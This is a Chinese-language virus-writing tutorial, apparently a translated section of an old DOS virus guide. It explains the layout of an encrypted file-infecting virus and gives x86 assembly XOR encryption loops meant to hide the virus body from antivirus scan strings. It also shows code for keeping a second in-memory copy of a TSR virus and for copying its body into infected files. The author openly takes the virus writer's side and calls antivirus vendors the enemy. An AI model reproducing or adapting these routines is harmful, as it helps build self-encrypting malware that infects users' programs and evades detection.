一个加密了的病毒如下:
___________________________________
| |
___ | Call to decryptor |
| |___________________________________|
| | |<-----|
| | | |
| | Infected file | |
| | | |
| |___________________________________| |
| | |<--| |
| | Virus body | | |
| |___________________________________|___|__|
|--->| | |
| Decryptor | |
|___________________________________|___|
非常简单,有一个调用解密程序的call,当解密程序解完密之后,它就把控制权交给病毒,当病毒执行完自身后,它就把控制权交给原先的程序。
有一种数学运算有一个好处,就是我们可以使用同一个函数来加密和解密我们的代码。当然,我们要讨论XOR了,在加解密中使用得最多得指令。还有两个指令可以用来实现我们只用一个函数就可以加密和解密目的:NOT和NEG。这两个中使用得最多的是第一个指令。当然了,我们还可以使用更多的指令进行加密。我将给出我们可以使用的指令的列表:
INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc...
最简单的加密我们的病毒是使用如下的例程:
encryption:
mov cx,encrypt_size ; encrypt_end-encrypt_start
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsb/stosb
mov ah,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsb ; Move a byte from DS:SI to AL
xor al,ah
stosb ; Move a byte from AL to ES:DI
loop encryption_loop
ret
这个过程确实很差,它只有255种可能性,因为我们把一个8比特的寄存器作为密钥(AH)。
当然这个是最简单的实现方法,我们必须注意一些事情:
-如果我们使用这样的例程,而且我们没有我们的病毒在内存中的备份(在这篇文章中我将讨论它),当使用这个例程的时候,我们必须不能把解密过程代码复制(调用解密的过程也一样)到感染文件。
-在病毒第一次产生的时候,我们必须注意病毒的状态:它没有被加密。使用xor,在第一次产生的时候,我们可以使用00来加密,并编写一个过程在代码中改变这个值,或者简单地避免在第一次产生的时候使用加密过程。
现在,我们将来看看当我们使用一个16比特密钥加密的上述加密过程:
encryption:
mov cx,(encrypt_size+1)/2 ; encrypt_end-encrypt_start/2
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsw/stosw
mov dx,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsw ; Move a word from DS:SI to AX
xor ax,dx
stosw ; Move a word from AX to ES:DI
loop encryption_loop
ret
问题是:如果我们没有对拷贝和加密的过程不加密...病毒查杀工具将会做什么呢?它们在我们的病毒(是的,是的,我们花费了大量的时间和精力来反启发,隐蔽,其它的一些大花招等等也一样)中找到一个扫描字符串足够了。在5分钟之内它们就在它们的病毒库中加入了检测我们的病毒的方法。啊!一个病毒作者花了很多天来编写的一个病毒,就因为他使用了如此简单的加密方法,在5分钟之内,我们的敌人就找到了检测的方法!这世界真是太黑暗了!:(
但是,病毒作者从不投降,所以...我们需要是解密程序越小越好。还不够,在下一章例,你可能将得到最好的答案:)
怎样使我们的病毒在内存里有第二个拷贝呢?这非常简单。在标志将要拷贝的病毒的最后一个字节,我们可以如下:
virus_end label byte ; The label that marks end of virus
enc_buffer db (offset virus_end-offset virus_start) dup (090h)
enc_buffer变量将会只在第一次产生时编码。当我们扩散这个病毒时,这个变量并不会随着复制。但是我们可以利用它的偏移地址来放置我们的病毒的第二个复制。我们能做的是...
-当我们把我们的病毒拷贝到内存中(一个TSR病毒),我们再一次这样,并把EXE文件头放进代码里,或者在COM文件的头几个字节,当这些变量向后移动病毒的大小时,我们把这些代码放到相同的偏移地址。OK,我将更好地解释它。想象我们有如下代码:
mov ah,3Fh
mov cx,4
lea dx,old3bytes
int 21h
OK,那么,如果我们在内存里面有病毒的第二个拷贝,我们必须把第三行代替为:
lea dx,virus_size+old3bytes
这是尝试的最好方法...
-或者我们可以在添加的时候拷贝病毒的主体:我们有所有的变量集。改动如下:
mov cx,virus_size
xor si,si
mov di,offset virus_begin
rep movsb